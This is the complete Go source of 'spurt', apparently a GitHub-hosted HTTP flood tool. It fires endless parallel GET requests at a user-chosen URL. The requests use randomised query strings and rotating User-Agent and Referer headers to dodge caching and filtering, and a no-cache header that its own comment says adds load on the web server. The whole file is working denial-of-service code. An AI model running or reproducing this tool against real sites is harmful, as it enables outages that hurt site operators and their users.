-
Notifications
You must be signed in to change notification settings - Fork 22
/
main.go
231 lines (196 loc) · 5.13 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
// spurt
package main
import (
"flag"
"fmt"
"io"
"math/rand"
"net"
"net/http"
"net/url"
"os"
"os/signal"
"strings"
"sync/atomic"
"syscall"
"time"
"github.com/buptmiao/parallel"
"github.com/zer-far/roulette"
)
var (
version = "v1.9.0"
banner = fmt.Sprintf(`
__
_________ __ _______/ /_
/ ___/ __ \/ / / / ___/ __/
(__ ) /_/ / /_/ / / / /_
/____/ .___/\__,_/_/ \__/
/_/ ` + version)
reset = "\033[0m"
red = "\033[31m"
green = "\033[32m"
blue = "\033[34m"
cyan = "\033[36m"
yellow = "\033[33m"
clear = "\033[2K\r"
target string
paramJoiner string
reqCount uint64
threads int
checkIP bool
timeout int
timeoutDuration time.Duration
sleep int
sleepDuration time.Duration
cookie string
useCookie bool
c = &http.Client{
Timeout: timeoutDuration,
}
)
func colourise(colour, s string) string {
return colour + s + reset
}
func buildblock(size int) (s string) {
var a []rune
for i := 0; i < size; i++ {
a = append(a, rune(rand.Intn(25)+65))
}
return string(a)
}
func isValidURL(inputURL string) bool {
// Check if the URL is in a valid format
_, err := url.ParseRequestURI(inputURL)
if err != nil {
fmt.Println("Error parsing URL:", err)
return false
}
// Check if the URL has a scheme (http or https)
u, err := url.Parse(inputURL)
if err != nil || u.Scheme == "" {
fmt.Println("Invalid URL scheme:", u.Scheme)
return false
}
// Check if the URL scheme is either http or https
if !strings.HasPrefix(u.Scheme, "http") {
fmt.Println("Unsupported URL scheme:", u.Scheme)
return false
}
// Additional check by making a request to the URL
resp, err := http.Get(inputURL)
if err != nil {
fmt.Println("Error making request:", err)
return false
}
defer resp.Body.Close()
return true
}
func fetchIP() {
ip, err := http.Get("https://ipinfo.tw/")
if err != nil {
fmt.Println(err)
return
}
defer ip.Body.Close()
body, err := io.ReadAll(ip.Body)
if err != nil {
fmt.Println(err)
return
}
fmt.Printf("\n%s\n", body)
}
func get() {
req, err := http.NewRequest("GET", target+paramJoiner+buildblock(rand.Intn(7)+3)+"="+buildblock(rand.Intn(7)+3), nil)
if err != nil {
fmt.Println(err)
}
req.Header.Set("User-Agent", roulette.GetUserAgent())
req.Header.Add("Cache-Control", "no-cache") // Creates more load on web server
req.Header.Set("Referer", roulette.GetReferrer()+"?q="+buildblock(rand.Intn(5)+5))
req.Header.Set("Keep-Alive", fmt.Sprintf("%d", rand.Intn(10)+100))
req.Header.Set("Connection", "keep-alive")
// Use cookie if user supplied one
if useCookie {
req.Header.Set("Cookie", cookie)
}
resp, err := c.Do(req)
atomic.AddUint64(&reqCount, 1) // Increment number of requests sent
// Check for timeout
if netErr, ok := err.(net.Error); ok && netErr.Timeout() {
fmt.Print(colourise(red, clear+"Status: Timeout"))
} else if err != nil {
// Handle other types of errors
fmt.Printf(colourise(red, clear+"Error sending request: %s"), err)
} else {
fmt.Print(colourise(green, clear+"Status: OK"))
}
// Close response body if not nil
if resp != nil {
defer resp.Body.Close()
}
}
func loop() {
for {
go get()
time.Sleep(sleepDuration) // Sleep before sending request again
}
}
func main() {
fmt.Println(colourise(cyan, banner))
fmt.Println(colourise(cyan, "\n\t\tgithub.com/zer-far\n"))
flag.StringVar(&target, "url", "", "URL to target.")
flag.IntVar(&timeout, "timeout", 3000, "Timeout in milliseconds.")
flag.IntVar(&sleep, "sleep", 1, "Sleep time in milliseconds.")
flag.IntVar(&threads, "threads", 1, "Number of threads.")
flag.BoolVar(&checkIP, "check", false, "Enable IP address check.")
flag.StringVar(&cookie, "cookie", "", "Cookie to use for requests.")
flag.Parse()
if checkIP {
fetchIP()
}
if !isValidURL(target) {
os.Exit(1)
}
if timeout == 0 {
fmt.Println("Timeout must be greater than 0.")
os.Exit(1)
}
if sleep <= 0 {
fmt.Println("Sleep time must be greater than 0.")
os.Exit(1)
}
if threads == 0 {
fmt.Println("Number of threads must be greater than 0.")
os.Exit(1)
}
if cookie != "" {
useCookie = true
}
// Convert values to milliseconds
timeoutDuration = time.Duration(timeout) * time.Millisecond
sleepDuration = time.Duration(sleep) * time.Millisecond
if strings.ContainsRune(target, '?') {
paramJoiner = "&"
} else {
paramJoiner = "?"
}
fmt.Printf(colourise(blue, "URL: %s\nTimeout (ms): %d\nSleep (ms): %d\nThreads: %d\n"), target, timeout, sleep, threads)
fmt.Println(colourise(yellow, "Press control+c to stop"))
time.Sleep(2 * time.Second)
start := time.Now()
c := make(chan os.Signal, 1)
signal.Notify(c, os.Interrupt, syscall.SIGTERM)
go func() {
<-c
elapsed := time.Since(start).Seconds()
// roundedElapsed := time.Duration(int64(elapsed*100)) * time.Millisecond
rps := float64(reqCount) / elapsed
fmt.Printf(colourise(blue, "\nTotal time (s): %.2f\nRequests: %d\nRequests per second: %.2f\n"), elapsed, reqCount, rps)
os.Exit(0)
}()
p := parallel.NewParallel() // Runs function in parallel
for i := 0; i < threads; i++ {
p.Register(loop)
}
p.Run()
}